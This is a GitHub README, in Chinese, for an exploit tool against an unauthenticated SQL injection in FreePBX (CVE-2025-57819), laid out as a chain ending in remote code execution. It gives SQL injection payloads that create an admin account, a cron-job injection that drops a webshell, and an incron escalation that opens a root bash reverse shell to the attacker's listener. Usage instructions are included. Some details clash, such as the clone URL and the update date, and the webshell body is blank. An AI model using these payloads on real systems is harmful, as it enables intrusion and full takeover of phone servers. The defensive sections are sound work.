JazzTheRabbit/FreePBX-SQLi-RCE
GitHub: JazzTheRabbit/FreePBX-SQLi-RCE
针对 FreePBX CVE-2025-57819 未授权 SQL 注入至 RCE 漏洞的自动化 PoC 利用工具。
Stars: 0 | Forks: 0
# FreePBX CVE-2025-57819 - 未授权 SQLi 至 RCE PoC



针对 **CVE-2025-57819** 的概念验证(PoC)漏洞利用程序,这是 FreePBX 中一个严重的未授权 SQL 注入漏洞,可导致远程代码执行(RCE)。
## 概述
FreePBX 15.x、16.x 和 17.x 版本(低于已修补版本)在 endpoint 模块的 AJAX 处理程序中存在未授权 SQL 注入漏洞。此漏洞允许攻击者:
1. 通过 SQL 注入**创建管理员账户**
2. 通过已授权的 cron job 注入**部署 webshell**
3. 通过 sysadmin_manager hook 链**将权限提升至 root**(如果 incron 可用)
4. **获取反弹 shell 访问权限**并完全控制系统
此 PoC 演示了在真实 FreePBX 安装环境上的完整漏洞利用链。
## 漏洞详情
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2025-57819 |
| **漏洞类型** | 未授权 SQL 注入(基于报错) |
| **CVSS 评分** | 9.8 / 10.0(严重) |
| **CWE** | CWE-89 (SQLi), CWE-288 (身份验证绕过) |
| **受影响版本** | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| **已修补版本** | 15.0.66, 16.0.89, 17.0.3+ |
| **CISA KEV** | 2025 年 8 月 29 日收录 |
| **状态** | 已在野外被积极利用 |
### 漏洞 Endpoint
```
GET /admin/ajax.php?brand=
```
endpoint 模块 AJAX 处理程序中的 `brand` 参数存在基于报错的 SQL 注入漏洞。无需任何身份验证。
## 漏洞利用链
### 阶段 1:SQL 注入验证及管理员账户创建
漏洞利用程序通过 `EXTRACTVALUE()` 基于报错的技术提取数据库名称,从而验证 SQLi:
```
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
```
验证通过后,利用堆叠查询插入一个新的管理员用户:
```
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '', 1)
```
**结果:** 在未经授权的情况下创建了新的管理员账户。
### 阶段 2:已授权的 Cron Job 注入
凭借有效的管理员凭证,漏洞利用程序通过 FreePBX 身份验证并建立已授权会话。会话 cookie 将被保存,并用于后续所有已授权的请求。
通过身份验证后,漏洞利用程序向 `asterisk.cron_jobs` 表中注入一条命令:
```
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo |base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
```
**执行:** FreePBX cron 运行器以 `asterisk` 用户身份执行该命令,并投放一个 PHP webshell。
### 阶段 3:Webshell 激活与低权限访问
PHP webshell 被部署到 `/var/www/html/shell.php`:
```
```
漏洞利用程序会轮询该 webshell 直到其被激活,从而以 `asterisk` 用户 (uid=999) 身份实现 RCE。
**结果:** 获得 `asterisk` 用户权限的已授权反弹 shell。
### 阶段 4:通过 Incron 提升权限(视条件而定)
如果配置了 incron(在许多 FreePBX 安装中默认启用),漏洞利用程序将:
1. 在 `/var/spool/asterisk/incron/` 中**创建 incron 触发器**
2. **触发 sysadmin_manager**(以 root 身份运行,监控 incron 目录)
3. **调用 fwconsole-commands hook**(执行任意 fwconsole 命令)
4. 通过 fwconsole 中的命令替换**注入 bash 反弹 shell**
**结果:** 在攻击端的监听器上获取 root shell(如果 incron 可用)。
#### Incron 权限提升详情
```
# 由 exploit 创建的 Trigger file:
/var/spool/asterisk/incron/api.fwconsole-commands.
# Handler(以 root 身份运行):
/usr/bin/sysadmin_manager "api.fwconsole-commands."
# Hook chain:
sysadmin_manager → validates GPG signature → fwconsole-commands hook
→ base64_decode → gzuncompress → json_decode → exec("/usr/sbin/fwconsole $CMD")
# Command injection 点:
/usr/sbin/fwconsole help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
```
## 漏洞滥用机制
- 对(endpoint 模块的)`brand` 参数**没有输入验证**
- **堆叠查询执行**允许在 SQLi 后进行数据库操作
- **可写的 asterisk.cron_jobs 表**以 asterisk 用户身份执行任意命令
- 通过新建管理员账户的 cookie 实现**已授权会话持久化**
- **以 root 身份运行的 incron 文件系统监控**及自动调用处理程序
- sysadmin_manager hook 链中的 **GPG 签名绕过**
- fwconsole-commands hook 参数解析中的**命令注入**
## 前置条件
- Python 3.6+
- `requests` 库
- 可访问目标 FreePBX 实例的网络连接
- Netcat 监听器(用于接收反弹 shell)
### 安装说明
```
# Clone repository
git clone https://github.com/krack3n/freepbx-cve-2025-57819.git
cd freepbx-cve-2025-57819
# Install dependencies
pip3 install requests
# 使 script 可执行
chmod +x freepbx_exploit.py
```
## 用法
### 基础利用
```
# Terminal 1:启动 netcat listener
nc -lvnp 9955
# Terminal 2:运行 exploit
python3 freepbx_exploit.py
```
### 示例
```
python3 freepbx_exploit.py 192.168.1.100 10.10.14.231 9955
```
### 参数
| 参数 | 描述 | 示例 |
|----------|-------------|---------|
| `TARGET_IP` | 目标 FreePBX 的 IP 或主机名 | `192.168.1.100` |
| `YOUR_IP` | 你的攻击机 IP | `10.10.14.231` |
| `PORT` | 反弹 shell 的监听端口 | `9955` |
## PoC 演示

**保证获取:** 低权限 `asterisk` 用户 shell (uid=999)
**条件性获取:** Root shell(如果目标上可用 incron/sysadmin_manager)
如果目标上不可用 incron,脚本将生成一个具有低权限 `asterisk` 用户的反弹 shell。Root 权限提升取决于 incron/sysadmin_manager 的可用性。
## 受影响版本
| FreePBX 版本 | 是否受影响 | 是否已修补 |
|-----------------|-----------|---------|
| 15.0.0 - 15.0.65 | ✓ | ✗ |
| 15.0.66+ | ✗ | ✓ |
| 16.0.0 - 16.0.88 | ✓ | ✗ |
| 16.0.89+ | ✗ | ✓ |
| 17.0.0 - 17.0.2 | ✓ | ✗ |
| 17.0.3+ | ✗ | ✓ |
## 修复方案
### 临时缓解措施
1. **限制**来自不受信任网络的 `/admin/ajax.php` 访问权限
2. 如果不需要,**禁用 incron**:`systemctl disable incrond`
3. **监控** `/var/spool/asterisk/incron/` 中的可疑文件创建行为
### 彻底修复方案
将 **FreePBX 升级**至已修补版本:
- FreePBX 15.0.66 或更高版本
- FreePBX 16.0.89 或更高版本
- FreePBX 17.0.3 或更高版本
补丁修复了:
- `brand` 参数的输入验证
- SQL 注入预防
- Incron hook 验证的改进
## 检测方法
### 网络检测
监控发往 `/admin/ajax.php` 的可疑 HTTP 请求:
```
GET /admin/ajax.php?brand=x' UNION SELECT ...
GET /admin/ajax.php?brand=x' AND EXTRACTVALUE ...
GET /admin/ajax.php?brand=x'; INSERT INTO ...
```
### 日志分析
检查 FreePBX 日志中是否存在:
- `/var/log/asterisk/messages` 中意外的管理员用户创建行为
- `asterisk` 数据库中异常的 cron job 条目
- `/var/log/auth.log` 中的 incron 活动
### 文件监控
监控意外的 webshell 创建行为:
```
watch -n 2 'ls -la /var/www/html/*.php'
```
## 参考资料
- [CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819)
- [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities)
- [FreePBX 安全公告](https://www.freepbx.org)
- [watchTowr 研究](https://www.watchtowrlabs.com)
## 免责声明
⚠️ **法律声明**
本概念验证(PoC)仅供**教育和合法授权的安全测试目的**使用。未经授权访问计算机系统是违法行为。
**使用条款:**
- 仅在您拥有或已获得明确书面授权进行测试的系统上使用此工具
- 不得用于恶意目的或未经授权的访问
- 用户需自行遵守适用的法律法规
- 作者不对滥用本工具或由此造成的损害承担任何责任
**道德黑客准则:**
- 在测试前务必获得书面授权
- 遵循负责任的漏洞披露原则
- 在公开披露前向受影响的供应商报告漏洞
- 尊重隐私和数据保护法规
## 作者
**JazzTheRabbit**
- GitHub: [@JazzTheRabbit](https://github.com/JazzTheRabbit)
- HackTheBox: [@JazzTheRabbit](https://www.hackthebox.com/home/users/profile/JazzTheRabbit)
- YouTube: [JazzTheRabbit](https://www.youtube.com/@JazzTheRabbit)
- 专长领域: Active Directory, Windows Exploitation, Offensive Security
## 更新日志
### 版本 1.0 (2025)
- 初始公开发布
- 完整的漏洞利用链实现
- 通过 incron 的条件性 root 权限提升
- 降级至 asterisk 用户 shell 的后备方案
- 专业的输出格式化
## 许可证
MIT License - 详情请参阅 LICENSE 文件
## 支持
如有任何问题、疑问或反馈:
- 在 GitHub 上提交 Issue
- 提交包含改进的 PR
- 针对安全发现遵循负责任的漏洞披露原则
**最后更新:** 2025 年 6 月
**状态:** 积极开发中
**测试环境:** FreePBX 16.0.40.7 (HackTheBox "Connected"), 真实安装环境
标签:CISA项目, FreePBX, PoC, Python, 无后门, 暴力破解, 编程工具, 远程代码执行, 逆向工具